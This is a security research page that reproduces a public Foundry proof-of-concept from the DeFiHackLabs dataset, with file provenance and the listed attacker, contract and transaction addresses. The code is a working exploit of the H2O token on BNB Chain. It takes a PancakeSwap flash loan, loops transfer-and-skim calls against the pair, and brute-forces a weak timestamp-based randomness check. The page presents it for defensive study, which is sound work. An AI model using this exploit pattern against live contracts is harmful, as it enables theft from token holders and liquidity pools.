Skip to content
THREATWIRE

Public reproduction file

src/test/2025-03/H2O_exp.sol

Public reproduction file for dataset entry H2O.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-03/H2O_exp.sol162 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.13;
3
4import "forge-std/Test.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 22470 USD
8// Attacker : https://bscscan.com/address/0x8842dd26fd301c74afc4df12e9cdabd9db107d1e
9// Attack Contract : https://bscscan.com/address/0x03ca8b574dd4250576f7bccc5707e6214e8c6e0d
10// Vulnerable Contract : https://bscscan.com/address/0xe9c4d4f095c7943a9ef5ec01afd1385d011855a1
11// Attack Tx 1(Loss profit) : https://bscscan.com/tx/0x729c502a7dfd5332a9bdbcacec97137899ecc82c17d0797b9686a7f9f6005cb7
12// Attack Tx 2(revert) : https://bscscan.com/tx/0x3b0891a4eb65d916bb0069c69a51d9ff165bf69f83358e37523d0c275f2739bd
13// Attack Tx 3(revert) : https://bscscan.com/tx/0xd97694e02eb94f48887308a945a7e58b62bd6f20b28aaaf2978090e5535f3a8e
14// Attack Tx 4(profit) : https://bscscan.com/tx/0x994abe7906a4a955c103071221e5eaa734a30dccdcdaac63496ece2b698a0fc3
15// @POC Author : [rotcivegaf](https://twitter.com/rotcivegaf)
17// Contracts involved
18address constant H2O = 0xe9c4D4f095C7943a9ef5EC01AfD1385D011855A1;
19address constant BUSD = 0x55d398326f99059fF775485246999027B3197955;
21address constant pancakeSwapFactoryV2 = 0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73;
22address constant PancakeV3Pool = 0x4f31Fa980a675570939B737Ebdde0471a4Be40Eb;
23address constant pancakeSwapRouterV2 = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
25contract H2O_exp is Test {
26 address attacker = makeAddr("attacker");
28 function setUp() public {
29 vm.createSelectFork("bsc", 47_454_899 - 1);
30 }
32 function testPoC() public {
33 vm.startPrank(attacker);
34 AttackerC attC = new AttackerC();
36 // Fund the contract
37 deal(BUSD, address(attC), 300 ether);
39 // 1st attack(No profit): https://bscscan.com/tx/0x729c502a7dfd5332a9bdbcacec97137899ecc82c17d0797b9686a7f9f6005cb7
40 _setRandomIn(0);
41 attC.attack();
42 console2.log("Profit:", int256(IFS(BUSD).balanceOf(address(attC))) - 300 ether);
44 // 2nd attack(revert), fail random check: https://bscscan.com/tx/0x3b0891a4eb65d916bb0069c69a51d9ff165bf69f83358e37523d0c275f2739bd
46 // 3rd attack(revert), fail random check: https://bscscan.com/tx/0xd97694e02eb94f48887308a945a7e58b62bd6f20b28aaaf2978090e5535f3a8e
48 // 4th attack: https://bscscan.com/tx/0x994abe7906a4a955c103071221e5eaa734a30dccdcdaac63496ece2b698a0fc3
50 _setRandomIn(1);
51 attC.attack();
52 console2.log("Profit:", int256(IFS(BUSD).balanceOf(address(attC))) - 300 ether);
53 }
55 function _setRandomIn(uint256 n) internal {
56 while(true) {
57 bytes32 randomBytes = keccak256(abi.encodePacked(
58 block.timestamp,
59 IFS(H2O).pair(),
60 blockhash(block.number-1))
61 );
62 uint256 r = uint256(randomBytes) % 2;
63 if (r == n) break;
64 vm.warp(block.timestamp + 1);
65 }
66 }
69contract AttackerC {
70 address pair;
72 function attack() external {
73 pair = IFS(pancakeSwapFactoryV2).getPair(H2O, BUSD);
75 IFS(PancakeV3Pool).flash(
76 address(this),
77 100000 ether,
78 0,
79 ""
80 );
82 }
84 function pancakeV3FlashCallback(
85 uint256 fee0,
86 uint256 fee1,
87 bytes calldata data
88 ) external {
89 uint256 bal0 = IFS(BUSD).balanceOf(address(this));
90 IFS(BUSD).approve(pancakeSwapRouterV2, type(uint256).max);
92 address[] memory path = new address[](2);
93 path[0] = BUSD;
94 path[1] = H2O;
95 IFS(pancakeSwapRouterV2).swapExactTokensForTokensSupportingFeeOnTransferTokens(
96 bal0,
97 0,
98 path,
99 address(this),
100 block.timestamp
101 );
103 for (uint256 i = 0; i < 50; i++) {
104 uint256 bal = IFS(H2O).balanceOf(address(this));
105 IFS(H2O).transfer(pair, bal);
106 IFS(pair).skim(address(this));
107 }
109 uint256 bal1 = IFS(H2O).balanceOf(address(this));
110 console2.log(bal1);
112 IFS(H2O).approve(pancakeSwapRouterV2, type(uint256).max);
114 address[] memory path2 = new address[](2);
115 path2[0] = H2O;
116 path2[1] = BUSD;
117 IFS(pancakeSwapRouterV2).swapExactTokensForTokensSupportingFeeOnTransferTokens(
118 bal1,
119 0,
120 path2,
121 address(this),
122 block.timestamp
123 );
125 IFS(BUSD).transfer(PancakeV3Pool, 100000 ether + fee0);
126 }
129interface IFS is IERC20 {
130 // PancakeSwap: Pair
131 function skim(address to) external;
133 // PancakeSwap: Factory v2
134 function getPair(address tokenA, address tokenB) external view returns (address pair);
136 // PancakeV3Pool
137 function flash(
138 address recipient,
139 uint256 amount0,
140 uint256 amount1,
141 bytes calldata data
142 ) external;
144 function pancakeV3FlashCallback(
145 uint256 fee0,
146 uint256 fee1,
147 bytes calldata data
148 ) external;
150 // IPancakeRouter02
151 function swapExactTokensForTokensSupportingFeeOnTransferTokens(
152 uint amountIn,
153 uint amountOutMin,
154 address[] calldata path,
155 address to,
156 uint deadline
157 ) external;
159 // H2O
160 function pair() external view returns(address);

Analysis

Dataset entry

Public Foundry test for “H2O” (2025-03-14). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

17 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x8842dd26fd301c74afc4df12e9cdabd9db107d1e

  • Attack Contract

    0x03ca8b574dd4250576f7bccc5707e6214e8c6e0d

  • Vulnerable Contract

    0xe9c4d4f095c7943a9ef5ec01afd1385d011855a1

  • Attack Tx

    0x729c502a7dfd5332a9bdbcacec97137899ecc82c17d0797b9686a7f9f6005cb7

  • Attack Tx

    0x3b0891a4eb65d916bb0069c69a51d9ff165bf69f83358e37523d0c275f2739bd

  • Attack Tx

    0xd97694e02eb94f48887308a945a7e58b62bd6f20b28aaaf2978090e5535f3a8e

  • Attack Tx

    0x994abe7906a4a955c103071221e5eaa734a30dccdcdaac63496ece2b698a0fc3

File record

Name
H2O
Path
src/test/2025-03/H2O_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
29258e54ecf404dbea682ea1a5907f2ab0874dd5
Language
Solidity
Size
163 lines
Date
2025-03-14
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-03/H2O_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 29258e54ecf404dbea682ea1a5907f2ab0874dd5, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.